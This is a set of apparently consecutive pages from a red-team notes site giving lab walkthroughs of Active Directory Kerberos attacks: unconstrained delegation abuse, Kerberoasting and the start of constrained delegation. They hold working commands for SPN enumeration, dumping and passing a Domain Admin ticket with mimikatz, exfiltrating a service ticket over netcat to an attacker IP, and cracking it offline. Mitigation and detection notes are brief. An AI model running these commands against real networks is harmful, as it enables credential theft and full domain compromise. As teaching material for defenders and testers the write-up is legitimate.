[](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-unrestricted-kerberos-delegation#execution) Execution ------------------------------------------------------------------------------------------------------------------------------------------------------------------------ On the computer IIS01 with kerberos delegation rights, let's do a base run of mimikatz to see what we can find in memory: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LQ1AfZ1dlmqhWQV2KGu%252F-LQ1An4liC-mH641pDIr%252FScreenshot%2520from%25202018-10-29%252023-35-01.png%3Falt%3Dmedia%26token%3D8120f642-4a99-43c3-b5df-7572e1b8d59b&width=768&dpr=3&quality=100&sign=57ba873a&sv=2) Note that we do not have a TGT for `offense\administrator` (Domain Admin) just yet. Let's now send an HTTP request to `IIS01` from a `DC01` host from the context of offense\\administrator: We see the request got a `HTTP 200 OK` response: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LQ1AfZ1dlmqhWQV2KGu%252F-LQ1AobS744v-HgGeO5I%252FScreenshot%2520from%25202018-10-29%252023-35-20.png%3Falt%3Dmedia%26token%3D79baf4ad-e90e-4206-bac1-e4babfb4f1a8&width=768&dpr=3&quality=100&sign=5d75466&sv=2) Let's check the victim host `IIS01` for new kerberos tickets in memory: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LQ1AfZ1dlmqhWQV2KGu%252F-LQ1BqpINzeoMrrRB_78%252FScreenshot%2520from%25202018-10-29%252023-40-27.png%3Falt%3Dmedia%26token%3Dc8683bf2-ec4f-4a37-aa84-80e312cc9031&width=768&dpr=3&quality=100&sign=80f03952&sv=2) We can see that the IIS01 has now got a TGT for offense\\administrator - this means that we have effectively compromised the entire offense.local domain. We will get back to this in a moment. First, let's export all kerberos tickets from IIS01 memory, so we can load offense\\administrator ticket TGT into the current session and assume its privileges: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LQ1Ez4t1pu7AnUgQKXL%252F-LQ1FVA9AomSnRrnRN2y%252FScreenshot%2520from%25202018-10-29%252023-56-20.png%3Falt%3Dmedia%26token%3Dc36e53f1-d7ae-4ef7-9936-6919c43cabc0&width=768&dpr=3&quality=100&sign=e7f34f73&sv=2) ..but before we proceed with `pass-the-ticket` attack and become a DA, let's try PSRemoting to the `DC01` from `IIS01` and check currently available kerberos tickets in a current logon session - just to make sure we currently do not have DA rights: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LQ1AfZ1dlmqhWQV2KGu%252F-LQ1ET2t6uJXe7aSU6_8%252FScreenshot%2520from%25202018-10-29%252023-49-58.png%3Falt%3Dmedia%26token%3D0682daa1-f3dc-4513-bdc3-3700b2d3c0af&width=768&dpr=3&quality=100&sign=ead86eba&sv=2) Above screenshow shows that there are no tickets and PSSession could not be established - as expected. Let's now proceed and import the previously dumped offense\\administrator TGT into our current logon session on the `IIS01` host: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LQ1AfZ1dlmqhWQV2KGu%252F-LQ1EVTOlDsCQ7KmbanV%252FScreenshot%2520from%25202018-10-29%252023-50-40.png%3Falt%3Dmedia%26token%3D84b8e09f-aa49-493f-81c6-bb99cd7a485c&width=768&dpr=3&quality=100&sign=f196e563&sv=2) Once the TGT is imported on IIS01, let's check available tickets and try connecting to the `DC01` again: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LQ1Ez4t1pu7AnUgQKXL%252F-LQ1G6uhB2h22swlr_Vk%252FScreenshot%2520from%25202018-10-29%252023-59-12.png%3Falt%3Dmedia%26token%3D4b22aa4a-984a-496e-aac3-bbb42ba25d14&width=768&dpr=3&quality=100&sign=3040b53a&sv=2) As you can see from the above screengrab, the `IIS01` system now contains a `krbtgt` for offense\\administrator, which enables this session to access `DC01` C$ share and establish a PSSession with an interactive shell with Domain admin privileges. ### [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-unrestricted-kerberos-delegation#reminder) Reminder Note that successful authentication to ANY service on the IIS01 will cache the authenticated user's TGT. Below is an example of a user `offense\delegate` accessing a share on `IIS01` - the TGT gets cached: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LQ5rqNYR3H9GSAq45Z7%252F-LQ5v0LLaKNYMZQIPqGJ%252FScreenshot%2520from%25202018-10-30%252021-40-29.png%3Falt%3Dmedia%26token%3D611987b1-0d1e-4377-92ee-0e786f9791ec&width=768&dpr=3&quality=100&sign=76358d24&sv=2) [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-unrestricted-kerberos-delegation#mitigation) Mitigation -------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Some of the available mitigations: * Disable kerberos delegation where possible * Be cautious of whom you give privilege **Enable computer and user accounts to be trusted for delegation** - these are users who can enable unrestricted kerberos delagation * Enable **Account is sensitive and cannot be delegated** for high privileged accounts [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-unrestricted-kerberos-delegation#references) References -------------------------------------------------------------------------------------------------------------------------------------------------------------------------- [Active Directory Security Risk #101: Kerberos Unconstrained Delegation (or How Compromise of a Single Server Can Compromise the Domain)Active Directory & Azure AD/Entra ID Security](https://adsecurity.org/?p=1667) [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Fblog.xpnsec.com%2Fimages%2Ffavicon.ico&width=20&dpr=3&quality=100&sign=5472aee9&sv=2)@\_xpn\_ - Kerberos AD Attacks - KerberoastingXPN InfoSec Blog](https://blog.xpnsec.com/kerberos-attacks-part-1/) [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Flearn.microsoft.com%2Ffavicon.ico&width=20&dpr=3&quality=100&sign=d8acf9f&sv=2)Kerberos for the Busy AdminMicrosoftLearn](https://blogs.technet.microsoft.com/askds/2008/03/06/kerberos-for-the-busy-admin/) [PreviousKerberoasting: Requesting RC4 Encrypted TGS when AES is Enabled](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberoasting-requesting-rc4-encrypted-tgs-when-aes-is-enabled) [NextKerberos Constrained Delegation](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-kerberos-constrained-delegation) Last updated 4 years ago * [Overview](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-unrestricted-kerberos-delegation#overview) * [Setup](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-unrestricted-kerberos-delegation#setup) * [Execution](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-unrestricted-kerberos-delegation#execution) * [Reminder](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-unrestricted-kerberos-delegation#reminder) * [Mitigation](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-unrestricted-kerberos-delegation#mitigation) * [References](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-unrestricted-kerberos-delegation#references) Copy Get-ADComputer -Filter {TrustedForDelegation -eq $true -and primarygroupid -eq 515} -Properties trustedfordelegation,serviceprincipalname,description Copy sekurlsa::tickets Copy Invoke-WebRequest http://iis01.offense.local -UseDefaultCredentials -UseBasicParsing Copy mimikatz # sekurlsa::tickets Copy mimikatz::tickets /export Copy mimikatz # kerberos::ptt C:\Users\Administrator\Desktop\mimikatz\[0;3c785]-2-0-40e10000-Administrator@krbtgt-OFFENSE.LOCAL.kirbi --- # Kerberoasting | Red Team Notes For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt) . This page is also available as [Markdown](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1208-kerberoasting.md) . This lab explores the Kerberoasting attack - it allows any domain user to request kerberos tickets from TGS that are encrypted with NTLM hash of the plaintext password of a domain user account that is used as a service account (i.e account used for running an IIS service) and crack them offline avoiding AD account lockouts. [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1208-kerberoasting#execution) Execution ------------------------------------------------------------------------------------------------------------------------------------- Note the vulnerable domain member - a user account with `servicePrincipalName` attribute set, which is very important piece for kerberoasting - only user accounts with that property set are most likely susceptible to kerberoasting: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LKEIPRKzyIL8ssJ1Eky%252F-LKEHymbOx0oOZqB-u3R%252Fkerberoast-principalname.png%3Falt%3Dmedia%26token%3Dbb0909ca-93f7-4f52-8045-615a94f0cc6b&width=768&dpr=3&quality=100&sign=e7e08f79&sv=2) Attacker setting up an nc listener to receive a hash for cracking: ### [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1208-kerberoasting#extracting-the-ticket) Extracting the Ticket Attacker enumerating user accounts with `serverPrincipalName` attribute set: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LKEQWnWdxN10k88vogc%252F-LKEQTo6Vvatn_DEOJ48%252Fkerberoast-enumeration.png%3Falt%3Dmedia%26token%3Deb2b7887-fdfd-44b1-8fe3-00d8c9d20375&width=768&dpr=3&quality=100&sign=df18c5a2&sv=2) Using only built-in powershell, we can extract the susceptible accounts with: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LKO4btIeebtUwYK4eFR%252F-LKO52yd3HfsBmTinFHl%252Fkerberoast-powershell.png%3Falt%3Dmedia%26token%3D8c762564-615d-4deb-b1ee-b13b5aee29d1&width=768&dpr=3&quality=100&sign=56bb18ba&sv=2) It would have been better to use the following command provided by [Sean Metcalf](https://adsecurity.org/?p=2293) purely because of the `-filter` usage (quicker than `select-object`), but it did not work for me: Another alternative working on Linux using [bloodyAD](https://github.com/CravateRouge/bloodyAD) : Additionally, user accounts with SPN set could be extracted with a native windows binary: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LKIfG6BsIx4nzjVhA5g%252F-LKIfXzbGIXjdq2p7WgL%252Fkerberoast-setspn.png%3Falt%3Dmedia%26token%3D74471cd8-c62a-43b7-a195-bcbbbf1b1aca&width=768&dpr=3&quality=100&sign=1ddbd41&sv=2) Attacker requesting a kerberos ticket (TGS) for a user account with `servicePrincipalName` set to `HTTP/dc-mantvydas.offense.local`\- it gets stored in the memory: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LKEIPRKzyIL8ssJ1Eky%252F-LKEIBbmJjX4MMuicYOd%252Fkerberoast-kerberos-token.png%3Falt%3Dmedia%26token%3D2e1874f2-0239-4842-861d-9afc8c460f9f&width=768&dpr=3&quality=100&sign=e612753f&sv=2) Using mimikatz, the attacker extracts kerberos ticket from the memory and exports it to a file for cracking: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LKEIPRKzyIL8ssJ1Eky%252F-LKEIGe2N7anuEWUEzEI%252Fkerberoast-exported-kerberos-tickets.png%3Falt%3Dmedia%26token%3D4f59a38f-c80b-46b0-97f1-4009673381b0&width=768&dpr=3&quality=100&sign=b8c3a68c&sv=2) Attacker sends the exported service ticket to attacking machine for offline cracking: ### [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1208-kerberoasting#cracking-the-ticket) Cracking the Ticket Attacker brute forces the password of the service ticket: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LKEIPRKzyIL8ssJ1Eky%252F-LKEILsCTgLjlbxn9h7B%252Fkerberoast-cracked.png%3Falt%3Dmedia%26token%3Df4e6ec4f-9ed9-4217-a665-b86ca678f861&width=768&dpr=3&quality=100&sign=42f5aa7d&sv=2) [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1208-kerberoasting#observations) Observations ------------------------------------------------------------------------------------------------------------------------------------------- Below is a security log `4769` showing service access being requested: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LKIl6pZ0bcRVjnv2Tp8%252F-LKIlHyRC5bx2E7kMWZs%252Fkerberoast-4769.png%3Falt%3Dmedia%26token%3Dc639c0dc-77c9-46b4-8b79-daaecd2aef7e&width=768&dpr=3&quality=100&sign=46196123&sv=2) If you see `Add-event -AssemblyName SystemIdentityModel` (from advanced Powershell logging) followed by a windows security event `4769` immediately after that, you may be looking at an old school Kerberoasting, especially if ticket encryption type has a value `0x17` (23 decimal, meaning it's RC4 encrypted): ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LKIl6pZ0bcRVjnv2Tp8%252F-LKIningDnwgpErj5BQO%252Fkerberoast-logs.png%3Falt%3Dmedia%26token%3Deadce00c-2062-471c-a65c-8dd99323ca24&width=768&dpr=3&quality=100&sign=32bb72af&sv=2) ### [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1208-kerberoasting#traffic) Traffic Below is the screenshot showing a request being sent to the `Ticket Granting Service` (TGS) for the service with a servicePrincipalName `HTTP/dc-mantvydas.offense.local` : ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LKGilNsUAW2LcJ-aMvk%252F-LKGj4Kvf84KO1anyG1W%252Fkerberoast-tgs-req.png%3Falt%3Dmedia%26token%3Df89019df-a503-44e9-bcd1-5886b5afcc4c&width=768&dpr=3&quality=100&sign=bdf649f8&sv=2) Below is the response from the TGS for the user `spotless` (we initiated this attack from offense\\spotless) which contains the encrypted (RC4) kerberos ticket (server part) to access the `HTTP/dc-mantvydas.offense.local` service. It is the same ticket we cracked earlier with [tgsrepcrack.py](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1208-kerberoasting#cracking-the-ticket) : ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LKGilNsUAW2LcJ-aMvk%252F-LKGj6j_gpAVwcUbHpg0%252Fkerberoast-tgs-res.png%3Falt%3Dmedia%26token%3De584d327-b3c0-49f0-b350-9e7fd8c4061e&width=768&dpr=3&quality=100&sign=1bfc628b&sv=2) Out of curiosity, let's decrypt the kerberos ticket since we have the password the ticket was encrypted with. Creating a kerberos keytab file for use in wireshark: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LKH6lKxEkloJztnpqzM%252F-LKH4lBMQhe-45WDcppK%252Fkerberoast-creating-keytab.png%3Falt%3Dmedia%26token%3Da241ac27-8278-4bc4-bd9b-409478576c6d&width=768&dpr=3&quality=100&sign=3150d19&sv=2) Adding the keytab to wireshark: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LKH6lKxEkloJztnpqzM%252F-LKH4ntWZZS0w0-UQqUV%252Fkerberoast-wireshark-keytab.png%3Falt%3Dmedia%26token%3Da2f88ea5-de7e-4a9f-954b-b8a2e5aec08b&width=768&dpr=3&quality=100&sign=4349ea92&sv=2) Note how the ticket's previously encrypted piece is now in plain text and we can see information pertinent to the requested ticket for a service `HTTP/dc-mantvydas.offense.local` : ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LKH6lKxEkloJztnpqzM%252F-LKH6iRF_yfVO_4JgoP9%252Fkerberoast-decrypted.png%3Falt%3Dmedia%26token%3Daa42e7bb-9b09-47ef-8a02-76942e3eaac7&width=768&dpr=3&quality=100&sign=fa02e8d2&sv=2) ### [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1208-kerberoasting#tgsrepcrack.py) tgsrepcrack.py Looking inside the code and adding a couple of print statements in key areas of the script, we can see that the password from the dictionary (`Passw0rd`) initially gets converted into an NTLM (`K0`) hash, then another key `K1` is derived from the initial hash and a message type, yet another key `K2` is derived from K1 and an MD5 digest of the encrypted data. Key `K2` is the actual key used to decrypt the encrypted ticket data: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LKHbc6IrcsO-aRw_Ntl%252F-LKHdsJBFE3Mnvtrl0iu%252Fkerberoast-crackstation.png%3Falt%3Dmedia%26token%3De99c0667-3d28-44bc-8434-1bc3fcd5f3d0&width=768&dpr=3&quality=100&sign=ffe37e21&sv=2) ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LKHbc6IrcsO-aRw_Ntl%252F-LKHdaWK0wLrmtY_gha0%252Fkerberoast-printstatements.png%3Falt%3Dmedia%26token%3D6bb3a13e-5900-4445-9004-0e175a840aa9&width=768&dpr=3&quality=100&sign=5629ea92&sv=2) I did not have to, but I also used an online RC4 decryptor tool to confirm the above findings: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LKHbc6IrcsO-aRw_Ntl%252F-LKHe8dvHZGhNNZdCSO8%252Fkerberoast-decryptedonline.png%3Falt%3Dmedia%26token%3Da79b89bd-50d1-416f-9283-6a1d2ca10eed&width=768&dpr=3&quality=100&sign=d2fd4f0f&sv=2) 4KB [kerberoast.pcap](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-LKGnVC0FcBAgxoJ2lPY%2F-LKGnkAw0lxXESfiSmJh%2Fkerberoast.pcap?alt=media&token=e4b98490-f1f3-47ab-a1d5-6bd753fb7010) Download[Open](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-LKGnVC0FcBAgxoJ2lPY%2F-LKGnkAw0lxXESfiSmJh%2Fkerberoast.pcap?alt=media&token=e4b98490-f1f3-47ab-a1d5-6bd753fb7010) kerberoast.pcap [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1208-kerberoasting#references) References --------------------------------------------------------------------------------------------------------------------------------------- [Tim Medin - Attacking Kerberos: Kicking the Guard Dog of Hades](https://files.sans.org/summit/hackfest2014/PDFs/Kicking%20the%20Guard%20Dog%20of%20Hades%20-%20Attacking%20Microsoft%20Kerberos%20%20-%20Tim%20Medin(1).pdf) [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Fattack.mitre.org%2Ftheme%2Ffavicon.ico&width=20&dpr=3&quality=100&sign=ef708327&sv=2)Steal or Forge Kerberos Tickets: Kerberoasting, Sub-technique T1558.003 - Enterprise | MITRE ATT&CK®attack.mitre.org](https://attack.mitre.org/wiki/Technique/T1208) [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Fgithub.com%2Ffluidicon.png&width=20&dpr=3&quality=100&sign=edc46b53&sv=2)GitHub - nidem/kerberoastGitHub](https://github.com/nidem/kerberoast) [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Fcdn.sanity.io%2Fimages%2Fr09655ln%2Fproduction%2Fb964f02a6b0bac832fa24aebac276c3613011af0-64x64.png&width=20&dpr=3&quality=100&sign=6fe59ef5&sv=2)Extracting Service Account Passwords with KerberoastingNetwrix](https://blog.stealthbits.com/extracting-service-account-passwords-with-kerberoasting/) [Cracking Kerberos TGS Tickets Using Kerberoast – Exploiting Kerberos to Compromise the Active Directory DomainActive Directory & Azure AD/Entra ID Security](https://adsecurity.org/?p=2293) [http://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/www.harmj0y.net](http://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/) [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Fpentestlab.blog%2Fwp-content%2Fuploads%2F2024%2F08%2Fcropped-pentestlab.webp%3Fw%3D192&width=20&dpr=3&quality=100&sign=13e0d4f1&sv=2)KerberoastPenetration Testing Lab](https://pentestlab.blog/2018/06/12/kerberoast/) [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Fblog.xpnsec.com%2Fimages%2Ffavicon.ico&width=20&dpr=3&quality=100&sign=5472aee9&sv=2)@\_xpn\_ - Kerberos AD Attacks - KerberoastingXPN InfoSec Blog](https://blog.xpnsec.com/kerberos-attacks-part-1/) [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Fpentestlab.blog%2Fwp-content%2Fuploads%2F2024%2F08%2Fcropped-pentestlab.webp%3Fw%3D192&width=20&dpr=3&quality=100&sign=13e0d4f1&sv=2)KerberoastPenetration Testing Lab](https://pentestlab.blog/2018/06/12/kerberoast/) [RC4 Encryption – Easily encrypt or decrypt strings or filesrc4.online-domain-tools.com](http://rc4.online-domain-tools.com/) [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Fcrackstation.net%2Ffavicon.ico&width=20&dpr=3&quality=100&sign=10796b57&sv=2)CrackStation - Online Password Hash Cracking - MD5, SHA1, Linux, Rainbow Tables, etc.crackstation.net](https://crackstation.net/) [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Flearn.microsoft.com%2Ffavicon.ico&width=20&dpr=3&quality=100&sign=d8acf9f&sv=2)Kerberos for the Busy AdminMicrosoftLearn](https://blogs.technet.microsoft.com/askds/2008/03/06/kerberos-for-the-busy-admin/) [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Fmiro.medium.com%2Fv2%2Fresize%3Afill%3A304%3A304%2F10fd5c419ac61637245384e7099e131627900034828f4f386bdaa47a74eae156&width=20&dpr=3&quality=100&sign=6336508b&sv=2)IOC differences between Kerberoasting and AS-REP RoastingMedium](https://medium.com/@jsecurity101/ioc-differences-between-kerberoasting-and-as-rep-roasting-4ae179cdf9ec) [PreviousFrom Domain Admin to Enterprise Admin](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain) [NextKerberos: Golden Tickets](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-golden-tickets) Last updated 2 years ago * [Execution](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1208-kerberoasting#execution) * [Extracting the Ticket](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1208-kerberoasting#extracting-the-ticket) * [Cracking the Ticket](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1208-kerberoasting#cracking-the-ticket) * [Observations](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1208-kerberoasting#observations) * [Traffic](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1208-kerberoasting#traffic) * [tgsrepcrack.py](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1208-kerberoasting#tgsrepcrack.py) * [References](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1208-kerberoasting#references) attacker@local Copy nc -lvp 443 > kerberoast.bin attacker@victim Copy Get-NetUser | Where-Object {$_.servicePrincipalName} | fl Copy get-adobject | Where-Object {$_.serviceprincipalname -ne $null -and $_.distinguishedname -like "*CN=Users*" -and $_.cn -ne "krbtgt"} Copy get-adobject -filter {serviceprincipalname -like “*sql*”} -prop serviceprincipalname Copy python bloodyAD.py -u '$user' -p '$password' -d '$domain' --host '$host' get search --filter '(&(!(cn=krbtgt))(&(samAccountType=805306368)(servicePrincipalName=*)))' --attr sAMAccountName | grep sAMAccountName | cut -d ' ' -f 2 Copy setspn -T offense -Q */* attacker@victim Copy Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "HTTP/dc-mantvydas.offense.local" attacker@victim Copy mimikatz # kerberos::list /export attacker@victim Copy nc 10.0.0.5 443 < C:\tools\mimikatz\x64\2-40a10000-spotless@HTTP~dc-mantvydas.offense.local-OFFENSE.LOCAL.kirbi attacker@local Copy python2 tgsrepcrack.py pwd kerberoast.bin attacker@local Copy root@~# ktutil ktutil: add_entry -password -p HTTP/iis_svc@dc-mantvydas.offense.local -k 1 -e arcfour-hmac-md5 Password for HTTP/iis_svc@dc-mantvydas.offense.local: ktutil: wkt /root/tools/iis.keytab --- # Kerberos Constrained Delegation | Red Team Notes For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt) . This page is also available as [Markdown](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-kerberos-constrained-delegation.md) . If you have compromised a user account or a computer (machine account) that has kerberos constrained delegation enabled, it's possible to impersonate any domain user (including administrator) and authenticate to a service that the user account is trusted to delegate to. [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-kerberos-constrained-delegation#user-account) User Account --------------------------------------------------------------------------------------------------------------------------------------------------------------- ### [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-kerberos-constrained-delegation#prerequisites) Prerequisites Hunting for user accounts that have kerberos constrained delegation enabled: attacker@target Copy Get-NetUser -TrustedToAuth In the below screenshot, the user `spot` is allowed to delegate or in other words, impersonate any user and authenticate to a file system service (CIFS) on a domain controller DC01. User has to have an attribute `TRUSTED_TO_AUTH_FOR_DELEGATION` in order for it to be able to authenticate to the remote service. > TRUSTED\_TO\_AUTH\_FOR\_DELEGATION - (Windows 2000/Windows Server 2003) The account is enabled for delegation. This is a security-sensitive setting. Accounts that have this option enabled should be tightly controlled. This setting lets a service that runs under the account assume a client's identity and authenticate as that user to other remote servers on the network. > > [https://support.microsoft.com/en-gb/help/305144/how-to-use-useraccountcontrol-to-manipulate-user-account-properties](https://support.microsoft.com/en-gb/help/305144/how-to-use-useraccountcontrol-to-manipulate-user-account-properties) Attribute `msds-allowedtodelegateto` identifies the SPNs of services the user `spot` is trusted to delegate to (impersonate other domain users) and authenticate to - in this case, it's saying that the user spot is allowed to authenticate to CIFS service on DC01 on behalf of any other domain user: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LmUhmRdd-A22BRvuH4d%252F-LmUuqN8vgeYFDytDQEY%252Fimage.png%3Falt%3Dmedia%26token%3D8289e63f-743c-4805-b1d1-a90170a7d9c4&width=768&dpr=3&quality=100&sign=10492fbc&sv=2) The `msds-allowedtodelegate` attribute in AD is defined here: 